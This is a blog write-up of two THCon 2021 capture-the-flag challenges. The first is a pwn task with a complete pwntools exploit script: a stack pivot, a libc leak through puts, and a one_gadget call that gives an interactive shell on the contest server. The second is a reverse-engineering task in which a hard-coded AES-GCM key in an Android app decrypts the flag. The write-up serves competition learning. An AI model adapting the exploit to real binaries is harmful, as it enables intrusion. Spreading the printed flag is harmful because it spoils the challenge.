home..

2021 thcctf write-up

Tasks

Tourniquet (Pwn, 249pts)

1.png
2.png This is stack pivot problem without overwriting RET. First, our team planned to input more than 0x48 bytes to overwrite RET.

But, it has a constraint:

So, I just DO STACK PIVOT 3 times, and find ONE 8byte memory.

The following process is my idea to get shell..

  1. Overwrite one byte of SFP to \x00 using fgets() function’s \n + \x00.
  2. Bruteforce correct position of RBP. and ROP with puts to get libc.
  3. stack pivot to main(mov rbp, rsp) twice (my solution in competition).(※ To go __start is another solution to get many memories that I can use for next ROP.)
  4. find one_gadget with strings and objdump command because gem one_gadget could’t get shell on remote.
  5. Get Shell.

Here is my payload.

from pwn import *
context.log_level='debug'
#context.terminal=['tmux','splitw','-h']
e=ELF("./tourniquet")
libc=ELF("./libc.so.6")
#libc=e.libc
pRdi=0x00000000004006d3
pRsi_r15=0x00000000004006d1
main=e.sym['main']
puts_got=e.got['puts']
puts_plt=e.plt['puts']
setvbuf_got=e.got['setvbuf']
rdx_offset=0x0000000000001b92
pppr=0x00000000004006cc
bss=0x601100
fgets=e.plt['fgets']

pay=p64(0x601100+0x40)+p64(pRdi)+p64(setvbuf_got)+p64(puts_plt)+p64(0x400627)+p64(0x601100+0x40)+p64(0x400627)+"\x00"*7

while True:
  try:
    p=remote("remote2.thcon.party", 10901)
    #p=process("./tourniquet")
    p.sendlineafter("haha i'm unhackable right ?\n",pay)
    leak=p.recvuntil("\x7f",timeout=1).ljust(8,'\x00')
    if '\x7f' not in leak:
      p.close()
      continue
    base=u64(leak)-libc.sym['setvbuf']
    rdx=base+rdx_offset
    stdin=base+libc.sym['_IO_2_1_stdin_']
    one_gadget=base+0xe5418
    print hex(base)
    break
    #pay=p64(0x4004c6)*2+p64(07+............x00000000004004c6)+p64(pRdi)+p64(setvbuf_got)+p64(puts_plt)+p64(main)+"A"*7
  except:
    p.close()
    continue

pause()
p.recv()
p.sendline("1234")

pay=p64(0)*5+p64(0x1234)+p64(one_gadget)
pay=pay.ljust(0x3f,'\x00')

p.recv()
p.sendline(pay)

p.interactive()

Mission Impossible (Rev, 246pts)

  1. extract apk and convert dex to jar using dex2jar tools.
  2. There’s nothing ….:(
  3. find hidden dex files in `MissionImpossibleTheme.mp3.
  4. Get this Code with jd-gui.
package thcon21.ctf.payload;

import android.util.Base64;
import java.io.UnsupportedEncodingException;
import java.security.InvalidAlgorithmParameterException;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.GCMParameterSpec;
import javax.crypto.spec.SecretKeySpec;

public class MIRead
{
  private static final String CIPHER_ALGO = "AES/GCM/NoPadding";
  private static final String IV = "your_m1ssi0n";
  private static final String KEY = "d0_you_acc3pt_it";
  private Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
  private GCMParameterSpec parameterSpec = new GCMParameterSpec(128, "your_m1ssi0n".getBytes("utf-8"));
  private SecretKeySpec secretKeySpec = new SecretKeySpec("d0_you_acc3pt_it".getBytes("utf-8"), "AES");
  
  public MIRead()
    throws NoSuchPaddingException, NoSuchAlgorithmException, UnsupportedEncodingException
  {}
  
  public String decrypt(String paramString)
    throws UnsupportedEncodingException, BadPaddingException, IllegalBlockSizeException, InvalidAlgorithmParameterException, InvalidKeyException
  {
    paramString = Base64.decode(paramString.getBytes("UTF-8"), 0);
    this.cipher.init(2, this.secretKeySpec, this.parameterSpec);
    return new String(this.cipher.doFinal(paramString));
  }
  
  public String encrypt(String paramString)
    throws UnsupportedEncodingException, BadPaddingException, IllegalBlockSizeException, InvalidAlgorithmParameterException, InvalidKeyException
  {
    this.cipher.init(1, this.secretKeySpec, this.parameterSpec);
    return new String(Base64.encode(this.cipher.doFinal(paramString.getBytes("utf-8")), 0));
  }
}
public static void main(String[] paramArrayOfString)
  {
    testFlag();
    paramArrayOfString = paramArrayOfString[0];
    while (0 != 0) {}
    Object localObject = new StringBuilder();
    ((StringBuilder)localObject).append("IkUegPuai+gfBce7nTf");
    if ("IkUegPuai+gfBce7nTf" != "VEhDb24yMQo=")
    {
      ((StringBuilder)localObject).append("CkMZzZSwne3X3mnyrc5oBcD2yGHUXy");
    }
    else
    {
      ((StringBuilder)localObject).append("MissionImpossible");
      return;
    }
    ((StringBuilder)localObject).append("MMcjCaXX2AAY20H");
    localObject = ((StringBuilder)localObject).toString();
    if (paramArrayOfString.equals("MissionImpossible")) {
      System.out.println((String)localObject);
    }
  }

The secret code is IkUegPuai+gfBce7nTfCkMZzZSwne3X3mnyrc5oBcD2yGHUXyMMcjCaXX2AAY20H. Then, how to decrypt? → this file uses AES/GCM/NoPadding Mode. So I find python code in google. So I modified code and get flag.

from Crypto.Cipher import AES
import base64

def print_hex_bytes(name, byte_array):
    print('{} len[{}]: '.format(name, len(byte_array)), end='')
    for idx, c in enumerate(byte_array):
        print("{:02x}".format(int(c)), end='')
    print("")

def dec(key, aad, nonce, cipher_data, mac):
    print('\nenter dec function ---------------------------------')
    cipher = AES.new(key, AES.MODE_GCM, nonce)

    try:
        plain_data = cipher.decrypt(cipher_data)
        print_hex_bytes('plain_data', plain_data)
        print('exit dec function ---------------------------------')      
        return plain_data

    except ValueError:
        print ("Key incorrect")
        print('exit dec function ---------------------------------')
        return None

if __name__ == "__main__":
    key   = b"d0_you_acc3pt_it"
    aad   = bytes([0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0x0A,0x0B,0x0C,0x0D,0x0E]) #
    nonce = b"your_m1ssi0n"

    cipher_data  = base64.b64decode(b"IkUegPuai+gfBce7nTfCkMZzZSwne3X3mnyrc5oBcD2yGHUXyMMcjCaXX2AAY20H")
    mac = bytes([0xb3, 0x5e, 0x5b, 0x00, 0xe4, 0x11, 0x54, 0x39, 0xa3, 0xf8, 0xf9, 0xfb, 0xa3, 0x75, 0xd5, 0xe8]) 
  
    print_hex_bytes('key', key)
    print_hex_bytes('aad', aad)
    print_hex_bytes('nonce', nonce)
    print_hex_bytes('cipher data', cipher_data)
    print_hex_bytes('mac', mac)

    result = dec(key, aad, nonce, cipher_data, mac)
    if result is not None:
        print('\nDecrypted value:')
        print_hex_bytes('\tresult(plain data)', result)
/mnt/d/CTF_List/2021/thcctf/rev/mission_impossible master* ⇣ ❯ python3 ex.py
key len[16]: 64305f796f755f6163633370745f6974
aad len[14]: 0102030405060708090a0b0c0d0e
nonce len[12]: 796f75725f6d31737369306e
cipher data len[48]: 22451e80fb9a8be81f05c7bb9d37c290c673652c277b75f79a7cab739a01703db2187517c8c31c8c26975f6000636d07
mac len[16]: b35e5b00e4115439a3f8f9fba375d5e8

enter dec function ---------------------------------
plain_data len[48]: 5448436f6e32317b546831732d5761732d506f737331626c652d466f722d557d8c0cda62bc921356ee356da0fe457d63
exit dec function ---------------------------------

Decrypted value:
        result(plain data) len[48]: 5448436f6e32317b546831732d5761732d506f737331626c652d466f722d557d8c0cda62bc921356ee356da0fe457d63

/mnt/d/CTF_List/2021/thcctf/rev/mission_impossible master* ⇣ ❯ python3
Python 3.8.5 (default, Jul 28 2020, 12:59:40) 
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.  
>>> bytes.fromhex("5448436f6e32317b546831732d5761732d506f737331626c652d466f722d557d8c0cda62bc921356ee356da0fe457d63")
b'THCon21{Th1s-Was-Poss1ble-For-U}\x8c\x0c\xdab\xbc\x92\x13V\xee5m\xa0\xfeE}c'



© 2024 Ainsetin   •  Powered by Soopr   •  Theme  Moonwalk